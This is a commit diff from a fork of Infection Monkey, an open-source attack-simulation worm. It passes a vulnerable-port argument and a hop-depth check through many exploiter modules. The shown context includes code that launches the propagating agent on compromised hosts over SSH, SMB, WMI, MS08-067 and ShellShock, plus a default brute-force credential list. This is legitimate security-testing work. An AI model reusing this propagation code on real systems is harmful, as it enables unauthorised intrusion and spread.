forked from p34709852/monkey
Changes that allow to avoid monkey exploitation redundancy: checking if island can see vulnerable port, checking if monkey was started on island and comparing depth vs maximum depth
This commit is contained in:
parent
698a13960e
commit
0e54b78664
|
@ -8,9 +8,6 @@ from itertools import product
|
||||||
|
|
||||||
__author__ = 'itamar'
|
__author__ = 'itamar'
|
||||||
|
|
||||||
from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
|
|
||||||
from infection_monkey.network import info
|
|
||||||
|
|
||||||
GUID = str(uuid.getnode())
|
GUID = str(uuid.getnode())
|
||||||
|
|
||||||
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
EXTERNAL_CONFIG_FILE = os.path.join(os.path.abspath(os.path.dirname(sys.argv[0])), 'monkey.bin')
|
||||||
|
@ -25,14 +22,17 @@ class Configuration(object):
|
||||||
for key, value in list(formatted_data.items()):
|
for key, value in list(formatted_data.items()):
|
||||||
if key.startswith('_'):
|
if key.startswith('_'):
|
||||||
continue
|
continue
|
||||||
if key in ["name", "id", "current_server"]:
|
if key in ["name", "id", "current_server", "max_depth"]:
|
||||||
continue
|
continue
|
||||||
if self._depth_from_commandline and key == "depth":
|
if self._depth_from_commandline and key == "depth":
|
||||||
|
self.max_depth = value
|
||||||
continue
|
continue
|
||||||
if hasattr(self, key):
|
if hasattr(self, key):
|
||||||
setattr(self, key, value)
|
setattr(self, key, value)
|
||||||
else:
|
else:
|
||||||
unknown_items.append(key)
|
unknown_items.append(key)
|
||||||
|
if not self.max_depth:
|
||||||
|
self.max_depth = self.depth
|
||||||
return unknown_items
|
return unknown_items
|
||||||
|
|
||||||
def from_json(self, json_data):
|
def from_json(self, json_data):
|
||||||
|
@ -138,6 +138,8 @@ class Configuration(object):
|
||||||
|
|
||||||
# depth of propagation
|
# depth of propagation
|
||||||
depth = 2
|
depth = 2
|
||||||
|
max_depth = None
|
||||||
|
started_on_island = False
|
||||||
current_server = ""
|
current_server = ""
|
||||||
|
|
||||||
# Configuration servers to try to connect to, in this order.
|
# Configuration servers to try to connect to, in this order.
|
||||||
|
@ -235,6 +237,18 @@ class Configuration(object):
|
||||||
cred_list.append(cred)
|
cred_list.append(cred)
|
||||||
return cred_list
|
return cred_list
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def hash_sensitive_data(sensitive_data):
|
||||||
|
"""
|
||||||
|
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
|
||||||
|
saved on client machines plain-text.
|
||||||
|
|
||||||
|
:param sensitive_data: the data to hash.
|
||||||
|
:return: the hashed data.
|
||||||
|
"""
|
||||||
|
password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
|
||||||
|
return password_hashed
|
||||||
|
|
||||||
exploit_user_list = ['Administrator', 'root', 'user']
|
exploit_user_list = ['Administrator', 'root', 'user']
|
||||||
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
exploit_password_list = ["Password1!", "1234", "password", "12345678"]
|
||||||
exploit_lm_hash_list = []
|
exploit_lm_hash_list = []
|
||||||
|
@ -262,30 +276,22 @@ class Configuration(object):
|
||||||
|
|
||||||
extract_azure_creds = True
|
extract_azure_creds = True
|
||||||
|
|
||||||
|
###########################
|
||||||
|
# post breach actions
|
||||||
|
###########################
|
||||||
post_breach_actions = []
|
post_breach_actions = []
|
||||||
custom_PBA_linux_cmd = ""
|
custom_PBA_linux_cmd = ""
|
||||||
custom_PBA_windows_cmd = ""
|
custom_PBA_windows_cmd = ""
|
||||||
PBA_linux_filename = None
|
PBA_linux_filename = None
|
||||||
PBA_windows_filename = None
|
PBA_windows_filename = None
|
||||||
|
|
||||||
@staticmethod
|
###########################
|
||||||
def hash_sensitive_data(sensitive_data):
|
# testing configuration
|
||||||
"""
|
###########################
|
||||||
Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data plain-text, as the log is
|
export_monkey_telems = False
|
||||||
saved on client machines plain-text.
|
|
||||||
|
|
||||||
:param sensitive_data: the data to hash.
|
def get_hop_count(self):
|
||||||
:return: the hashed data.
|
return self.max_depth - self.depth
|
||||||
"""
|
|
||||||
password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest()
|
|
||||||
return password_hashed
|
|
||||||
|
|
||||||
@staticmethod
|
|
||||||
def should_monkey_run():
|
|
||||||
local_ips = info.local_ips()
|
|
||||||
if set(local_ips).intersection(set(WormConfiguration.blocked_ips)):
|
|
||||||
raise PlannedShutdownException("Monkey shouldn't run on current machine "
|
|
||||||
"(blocked ip or redundant exploitation).")
|
|
||||||
|
|
||||||
|
|
||||||
WormConfiguration = Configuration()
|
WormConfiguration = Configuration()
|
||||||
|
|
|
@ -15,6 +15,8 @@ from infection_monkey.transport.tcp import TcpProxy
|
||||||
|
|
||||||
__author__ = 'hoffer'
|
__author__ = 'hoffer'
|
||||||
|
|
||||||
|
from infection_monkey.utils.exceptions.planned_shutdown_exception import PlannedShutdownException
|
||||||
|
|
||||||
requests.packages.urllib3.disable_warnings()
|
requests.packages.urllib3.disable_warnings()
|
||||||
|
|
||||||
LOG = logging.getLogger(__name__)
|
LOG = logging.getLogger(__name__)
|
||||||
|
@ -321,3 +323,28 @@ class ControlClient(object):
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
except requests.exceptions.RequestException:
|
except requests.exceptions.RequestException:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def should_monkey_run(port: str) -> bool:
|
||||||
|
if WormConfiguration.get_hop_count() > 1 and \
|
||||||
|
ControlClient.can_island_see_port(port) and \
|
||||||
|
WormConfiguration.started_on_island:
|
||||||
|
raise PlannedShutdownException("Monkey shouldn't run on current machine "
|
||||||
|
"(it will be exploited later with more depth).")
|
||||||
|
return True
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def can_island_see_port(port):
|
||||||
|
try:
|
||||||
|
url = f"https://{WormConfiguration.current_server}/api/monkey_control/check_remote_port/{port}"
|
||||||
|
response = requests.get(url, verify=False)
|
||||||
|
response = json.loads(response.content.decode())
|
||||||
|
return response['status'] == "port_visible"
|
||||||
|
except requests.exceptions.RequestException:
|
||||||
|
return False
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def report_start_on_island():
|
||||||
|
requests.post(f"https://{WormConfiguration.current_server}/api/monkey_control/started_on_island",
|
||||||
|
data=json.dumps({'started_on_island': True}),
|
||||||
|
verify=False)
|
||||||
|
|
|
@ -44,6 +44,7 @@ class MonkeyDrops(object):
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth', type=int)
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
arg_parser.add_argument('-l', '--location')
|
arg_parser.add_argument('-l', '--location')
|
||||||
|
arg_parser.add_argument('-vp', '--vulnerable-port')
|
||||||
self.monkey_args = args[1:]
|
self.monkey_args = args[1:]
|
||||||
self.opts, _ = arg_parser.parse_known_args(args)
|
self.opts, _ = arg_parser.parse_known_args(args)
|
||||||
|
|
||||||
|
@ -115,7 +116,11 @@ class MonkeyDrops(object):
|
||||||
LOG.warning("Cannot set reference date to destination file")
|
LOG.warning("Cannot set reference date to destination file")
|
||||||
|
|
||||||
monkey_options = \
|
monkey_options = \
|
||||||
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
build_monkey_commandline_explicitly(self.opts.parent,
|
||||||
|
self.opts.tunnel,
|
||||||
|
self.opts.server,
|
||||||
|
self.opts.depth,
|
||||||
|
self.opts.vulnerable_port)
|
||||||
|
|
||||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||||
|
|
|
@ -73,7 +73,8 @@ class HadoopExploiter(WebRCE):
|
||||||
|
|
||||||
def build_command(self, path, http_path):
|
def build_command(self, path, http_path):
|
||||||
# Build command to execute
|
# Build command to execute
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=HTTPTools.get_port_from_url(http_path))
|
||||||
if 'linux' in self.host.os['type']:
|
if 'linux' in self.host.os['type']:
|
||||||
base_command = HADOOP_LINUX_COMMAND
|
base_command = HADOOP_LINUX_COMMAND
|
||||||
else:
|
else:
|
||||||
|
|
|
@ -133,6 +133,7 @@ class MSSQLExploiter(HostExploiter):
|
||||||
# Form monkey's launch command
|
# Form monkey's launch command
|
||||||
monkey_args = build_monkey_commandline(self.host,
|
monkey_args = build_monkey_commandline(self.host,
|
||||||
get_monkey_depth() - 1,
|
get_monkey_depth() - 1,
|
||||||
|
MSSQLExploiter.SQL_DEFAULT_TCP_PORT,
|
||||||
dst_path)
|
dst_path)
|
||||||
suffix = ">>{}".format(self.payload_file_path)
|
suffix = ">>{}".format(self.payload_file_path)
|
||||||
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
prefix = MSSQLExploiter.EXPLOIT_COMMAND_PREFIX
|
||||||
|
|
|
@ -329,7 +329,10 @@ class SambaCryExploiter(HostExploiter):
|
||||||
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
return open(get_binary_file_path(self.SAMBACRY_RUNNER_FILENAME_64), "rb")
|
||||||
|
|
||||||
def get_monkey_commandline_file(self, location):
|
def get_monkey_commandline_file(self, location):
|
||||||
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host, get_monkey_depth() - 1, str(location)))
|
return BytesIO(DROPPER_ARG + build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
SambaCryExploiter.SAMBA_PORT,
|
||||||
|
str(location)))
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def is_share_writable(smb_client, share):
|
def is_share_writable(smb_client, share):
|
||||||
|
|
|
@ -144,7 +144,11 @@ class ShellShockExploiter(HostExploiter):
|
||||||
|
|
||||||
# run the monkey
|
# run the monkey
|
||||||
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
cmdline = "%s %s" % (dropper_target_path_linux, DROPPER_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1, dropper_target_path_linux) + ' & '
|
cmdline += build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
HTTPTools.get_port_from_url(url),
|
||||||
|
dropper_target_path_linux)
|
||||||
|
cmdline += ' & '
|
||||||
run_path = exploit + cmdline
|
run_path = exploit + cmdline
|
||||||
self.attack_page(url, header, run_path)
|
self.attack_page(url, header, run_path)
|
||||||
|
|
||||||
|
|
|
@ -28,6 +28,7 @@ class SmbExploiter(HostExploiter):
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(SmbExploiter, self).__init__(host)
|
super(SmbExploiter, self).__init__(host)
|
||||||
|
self.vulnerable_port = None
|
||||||
|
|
||||||
def is_os_supported(self):
|
def is_os_supported(self):
|
||||||
if super(SmbExploiter, self).is_os_supported():
|
if super(SmbExploiter, self).is_os_supported():
|
||||||
|
@ -36,11 +37,13 @@ class SmbExploiter(HostExploiter):
|
||||||
if not self.host.os.get('type'):
|
if not self.host.os.get('type'):
|
||||||
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
|
is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445)
|
||||||
if is_smb_open:
|
if is_smb_open:
|
||||||
|
self.vulnerable_port = 445
|
||||||
smb_finger = SMBFinger()
|
smb_finger = SMBFinger()
|
||||||
smb_finger.get_host_fingerprint(self.host)
|
smb_finger.get_host_fingerprint(self.host)
|
||||||
else:
|
else:
|
||||||
is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
|
is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139)
|
||||||
if is_nb_open:
|
if is_nb_open:
|
||||||
|
self.vulnerable_port = 139
|
||||||
self.host.os['type'] = 'windows'
|
self.host.os['type'] = 'windows'
|
||||||
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
return self.host.os.get('type') in self._TARGET_OS_TYPE
|
||||||
return False
|
return False
|
||||||
|
@ -103,10 +106,13 @@ class SmbExploiter(HostExploiter):
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
||||||
|
self.vulnerable_port,
|
||||||
self._config.dropper_target_path_win_32)
|
self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=self.vulnerable_port)
|
||||||
|
|
||||||
smb_conn = False
|
smb_conn = False
|
||||||
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
|
||||||
|
|
|
@ -179,7 +179,9 @@ class SSHExploiter(HostExploiter):
|
||||||
|
|
||||||
try:
|
try:
|
||||||
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
cmdline = "%s %s" % (self._config.dropper_target_path_linux, MONKEY_ARG)
|
||||||
cmdline += build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
cmdline += build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=SSH_PORT)
|
||||||
cmdline += " > /dev/null 2>&1 &"
|
cmdline += " > /dev/null 2>&1 &"
|
||||||
ssh.exec_command(cmdline)
|
ssh.exec_command(cmdline)
|
||||||
|
|
||||||
|
|
|
@ -41,7 +41,8 @@ def get_target_monkey_by_os(is_windows, is_32bit):
|
||||||
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
return ControlClient.download_monkey_exe_by_os(is_windows, is_32bit)
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None):
|
def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, depth=None, location=None,
|
||||||
|
vulnerable_port=None):
|
||||||
cmdline = ""
|
cmdline = ""
|
||||||
|
|
||||||
if parent is not None:
|
if parent is not None:
|
||||||
|
@ -53,17 +54,19 @@ def build_monkey_commandline_explicitly(parent=None, tunnel=None, server=None, d
|
||||||
if depth is not None:
|
if depth is not None:
|
||||||
if depth < 0:
|
if depth < 0:
|
||||||
depth = 0
|
depth = 0
|
||||||
cmdline += " -d %d" % depth
|
cmdline += f" -d {depth}"
|
||||||
if location is not None:
|
if location is not None:
|
||||||
cmdline += " -l %s" % location
|
cmdline += f" -l {location}"
|
||||||
|
if vulnerable_port is not None:
|
||||||
|
cmdline += f" -vp {str(vulnerable_port)}"
|
||||||
|
|
||||||
return cmdline
|
return cmdline
|
||||||
|
|
||||||
|
|
||||||
def build_monkey_commandline(target_host, depth, location=None):
|
def build_monkey_commandline(target_host, depth, vulnerable_port, location=None):
|
||||||
from infection_monkey.config import GUID
|
from infection_monkey.config import GUID
|
||||||
return build_monkey_commandline_explicitly(
|
return build_monkey_commandline_explicitly(
|
||||||
GUID, target_host.default_tunnel, target_host.default_server, depth, location)
|
GUID, target_host.default_tunnel, target_host.default_server, depth, location, vulnerable_port)
|
||||||
|
|
||||||
|
|
||||||
def get_monkey_depth():
|
def get_monkey_depth():
|
||||||
|
|
|
@ -73,6 +73,10 @@ class HTTPTools(object):
|
||||||
lock.acquire()
|
lock.acquire()
|
||||||
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
|
return "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(os.path.basename(src_path))), httpd
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def get_port_from_url(url: str) -> int:
|
||||||
|
return urllib.parse.urlparse(url).port
|
||||||
|
|
||||||
|
|
||||||
class MonkeyHTTPServer(HTTPTools):
|
class MonkeyHTTPServer(HTTPTools):
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
|
|
|
@ -132,7 +132,9 @@ class VSFTPDExploiter(HostExploiter):
|
||||||
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
T1222Telem(ScanStatus.USED, change_permission.decode(), self.host).send()
|
||||||
|
|
||||||
# Run monkey on the machine
|
# Run monkey on the machine
|
||||||
parameters = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
parameters = build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=FTP_PORT)
|
||||||
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
run_monkey = RUN_MONKEY % {'monkey_path': monkey_path, 'monkey_type': MONKEY_ARG, 'parameters': parameters}
|
||||||
|
|
||||||
# Set unlimited to memory
|
# Set unlimited to memory
|
||||||
|
|
|
@ -42,6 +42,8 @@ class WebRCE(HostExploiter):
|
||||||
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
self.HTTP = [str(port) for port in self._config.HTTP_PORTS]
|
||||||
self.skip_exist = self._config.skip_exploit_if_file_exist
|
self.skip_exist = self._config.skip_exploit_if_file_exist
|
||||||
self.vulnerable_urls = []
|
self.vulnerable_urls = []
|
||||||
|
self.target_url = None
|
||||||
|
self.vulnerable_port = None
|
||||||
|
|
||||||
def get_exploit_config(self):
|
def get_exploit_config(self):
|
||||||
"""
|
"""
|
||||||
|
@ -87,27 +89,30 @@ class WebRCE(HostExploiter):
|
||||||
if not self.vulnerable_urls:
|
if not self.vulnerable_urls:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
|
self.target_url = self.vulnerable_urls[0]
|
||||||
|
self.vulnerable_port = HTTPTools.get_port_from_url(self.target_url)
|
||||||
|
|
||||||
# Skip if monkey already exists and this option is given
|
# Skip if monkey already exists and this option is given
|
||||||
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.vulnerable_urls[0]):
|
if not exploit_config['blind_exploit'] and self.skip_exist and self.check_remote_files(self.target_url):
|
||||||
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
LOG.info("Host %s was already infected under the current configuration, done" % self.host)
|
||||||
return True
|
return True
|
||||||
|
|
||||||
# Check for targets architecture (if it's 32 or 64 bit)
|
# Check for targets architecture (if it's 32 or 64 bit)
|
||||||
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.vulnerable_urls[0]):
|
if not exploit_config['blind_exploit'] and not self.set_host_arch(self.target_url):
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Upload the right monkey to target
|
# Upload the right monkey to target
|
||||||
data = self.upload_monkey(self.vulnerable_urls[0], exploit_config['upload_commands'])
|
data = self.upload_monkey(self.target_url, exploit_config['upload_commands'])
|
||||||
|
|
||||||
if data is False:
|
if data is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Change permissions to transform monkey into executable file
|
# Change permissions to transform monkey into executable file
|
||||||
if self.change_permissions(self.vulnerable_urls[0], data['path']) is False:
|
if self.change_permissions(self.target_url, data['path']) is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
# Execute remote monkey
|
# Execute remote monkey
|
||||||
if self.execute_remote_monkey(self.vulnerable_urls[0], data['path'], exploit_config['dropper']) is False:
|
if self.execute_remote_monkey(self.target_url, data['path'], exploit_config['dropper']) is False:
|
||||||
return False
|
return False
|
||||||
|
|
||||||
return True
|
return True
|
||||||
|
@ -403,10 +408,15 @@ class WebRCE(HostExploiter):
|
||||||
default_path = self.get_default_dropper_path()
|
default_path = self.get_default_dropper_path()
|
||||||
if default_path is False:
|
if default_path is False:
|
||||||
return False
|
return False
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1, default_path)
|
monkey_cmd = build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
self.vulnerable_port,
|
||||||
|
default_path)
|
||||||
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': DROPPER_ARG, 'parameters': monkey_cmd}
|
||||||
else:
|
else:
|
||||||
monkey_cmd = build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
monkey_cmd = build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
self.vulnerable_port)
|
||||||
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
command = RUN_MONKEY % {'monkey_path': path, 'monkey_type': MONKEY_ARG, 'parameters': monkey_cmd}
|
||||||
try:
|
try:
|
||||||
LOG.info("Trying to execute monkey using command: {}".format(command))
|
LOG.info("Trying to execute monkey using command: {}".format(command))
|
||||||
|
@ -489,3 +499,6 @@ class WebRCE(HostExploiter):
|
||||||
except KeyError:
|
except KeyError:
|
||||||
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
|
LOG.debug("Target's machine type was not set. Using win-32 dropper path.")
|
||||||
return self._config.dropper_target_path_win_32
|
return self._config.dropper_target_path_win_32
|
||||||
|
|
||||||
|
def set_vulnerable_port_from_url(self, url):
|
||||||
|
self.vulnerable_port = HTTPTools.get_port_from_url(url)
|
||||||
|
|
|
@ -234,11 +234,15 @@ class Ms08_067_Exploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1,
|
build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
SRVSVC_Exploit.TELNET_PORT,
|
||||||
self._config.dropper_target_path_win_32)
|
self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
vulnerable_port=SRVSVC_Exploit.TELNET_PORT)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
sock.send("start %s\r\n" % (cmdline,))
|
sock.send("start %s\r\n" % (cmdline,))
|
||||||
|
|
|
@ -21,6 +21,7 @@ class WmiExploiter(HostExploiter):
|
||||||
_TARGET_OS_TYPE = ['windows']
|
_TARGET_OS_TYPE = ['windows']
|
||||||
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
EXPLOIT_TYPE = ExploitType.BRUTE_FORCE
|
||||||
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
|
_EXPLOITED_SERVICE = 'WMI (Windows Management Instrumentation)'
|
||||||
|
VULNERABLE_PORT = 135
|
||||||
|
|
||||||
def __init__(self, host):
|
def __init__(self, host):
|
||||||
super(WmiExploiter, self).__init__(host)
|
super(WmiExploiter, self).__init__(host)
|
||||||
|
@ -94,11 +95,15 @@ class WmiExploiter(HostExploiter):
|
||||||
# execute the remote dropper in case the path isn't final
|
# execute the remote dropper in case the path isn't final
|
||||||
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
elif remote_full_path.lower() != self._config.dropper_target_path_win_32.lower():
|
||||||
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
cmdline = DROPPER_CMDLINE_WINDOWS % {'dropper_path': remote_full_path} + \
|
||||||
build_monkey_commandline(
|
build_monkey_commandline(self.host,
|
||||||
self.host, get_monkey_depth() - 1, self._config.dropper_target_path_win_32)
|
get_monkey_depth() - 1,
|
||||||
|
WmiExploiter.VULNERABLE_PORT,
|
||||||
|
self._config.dropper_target_path_win_32)
|
||||||
else:
|
else:
|
||||||
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': remote_full_path} + \
|
||||||
build_monkey_commandline(self.host, get_monkey_depth() - 1)
|
build_monkey_commandline(self.host,
|
||||||
|
get_monkey_depth() - 1,
|
||||||
|
WmiExploiter.VULNERABLE_PORT)
|
||||||
|
|
||||||
# execute the remote monkey
|
# execute the remote monkey
|
||||||
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
result = WmiTools.get_object(wmi_connection, "Win32_Process").Create(cmdline,
|
||||||
|
|
|
@ -27,7 +27,7 @@ from infection_monkey.telemetry.trace_telem import TraceTelem
|
||||||
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
from infection_monkey.telemetry.tunnel_telem import TunnelTelem
|
||||||
from infection_monkey.windows_upgrader import WindowsUpgrader
|
from infection_monkey.windows_upgrader import WindowsUpgrader
|
||||||
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
from infection_monkey.post_breach.post_breach_handler import PostBreach
|
||||||
from infection_monkey.network.tools import get_interface_to_target
|
from infection_monkey.network.tools import get_interface_to_target, is_running_on_server
|
||||||
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
|
from infection_monkey.exploit.tools.exceptions import ExploitingVulnerableMachineError, FailedExploitationError
|
||||||
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
from infection_monkey.telemetry.attack.t1106_telem import T1106Telem
|
||||||
from common.utils.attack_utils import ScanStatus, UsageEnum
|
from common.utils.attack_utils import ScanStatus, UsageEnum
|
||||||
|
@ -71,6 +71,7 @@ class InfectionMonkey(object):
|
||||||
arg_parser.add_argument('-t', '--tunnel')
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth', type=int)
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
|
arg_parser.add_argument('-vp', '--vulnerable-port')
|
||||||
self._opts, self._args = arg_parser.parse_known_args(self._args)
|
self._opts, self._args = arg_parser.parse_known_args(self._args)
|
||||||
|
|
||||||
self._parent = self._opts.parent
|
self._parent = self._opts.parent
|
||||||
|
@ -116,6 +117,10 @@ class InfectionMonkey(object):
|
||||||
|
|
||||||
self.shutdown_by_not_alive_config()
|
self.shutdown_by_not_alive_config()
|
||||||
|
|
||||||
|
if self.is_started_on_island():
|
||||||
|
ControlClient.report_start_on_island()
|
||||||
|
ControlClient.should_monkey_run(self._opts.vulnerable_port)
|
||||||
|
|
||||||
if firewall.is_enabled():
|
if firewall.is_enabled():
|
||||||
firewall.add_firewall_rule()
|
firewall.add_firewall_rule()
|
||||||
|
|
||||||
|
@ -126,8 +131,6 @@ class InfectionMonkey(object):
|
||||||
StateTelem(is_done=False, version=get_version()).send()
|
StateTelem(is_done=False, version=get_version()).send()
|
||||||
TunnelTelem().send()
|
TunnelTelem().send()
|
||||||
|
|
||||||
WormConfiguration.should_monkey_run()
|
|
||||||
|
|
||||||
LOG.debug("Starting the post-breach phase.")
|
LOG.debug("Starting the post-breach phase.")
|
||||||
self.collect_system_info_if_configured()
|
self.collect_system_info_if_configured()
|
||||||
PostBreach().execute_all_configured()
|
PostBreach().execute_all_configured()
|
||||||
|
@ -379,3 +382,6 @@ class InfectionMonkey(object):
|
||||||
raise PlannedShutdownException("Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel))
|
raise PlannedShutdownException("Monkey couldn't find server with {} default tunnel.".format(self._default_tunnel))
|
||||||
self._default_server = WormConfiguration.current_server
|
self._default_server = WormConfiguration.current_server
|
||||||
LOG.debug("default server set to: %s" % self._default_server)
|
LOG.debug("default server set to: %s" % self._default_server)
|
||||||
|
|
||||||
|
def is_started_on_island(self):
|
||||||
|
return is_running_on_server(self._default_server) and WormConfiguration.depth == WormConfiguration.max_depth
|
||||||
|
|
|
@ -7,7 +7,7 @@ import struct
|
||||||
import time
|
import time
|
||||||
import re
|
import re
|
||||||
|
|
||||||
from infection_monkey.network.info import get_routes
|
from infection_monkey.network.info import get_routes, local_ips
|
||||||
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
from infection_monkey.pyinstaller_utils import get_binary_file_path
|
||||||
from infection_monkey.utils.environment import is_64bit_python
|
from infection_monkey.utils.environment import is_64bit_python
|
||||||
|
|
||||||
|
@ -309,3 +309,7 @@ def get_interface_to_target(dst):
|
||||||
paths.sort()
|
paths.sort()
|
||||||
ret = paths[-1][1]
|
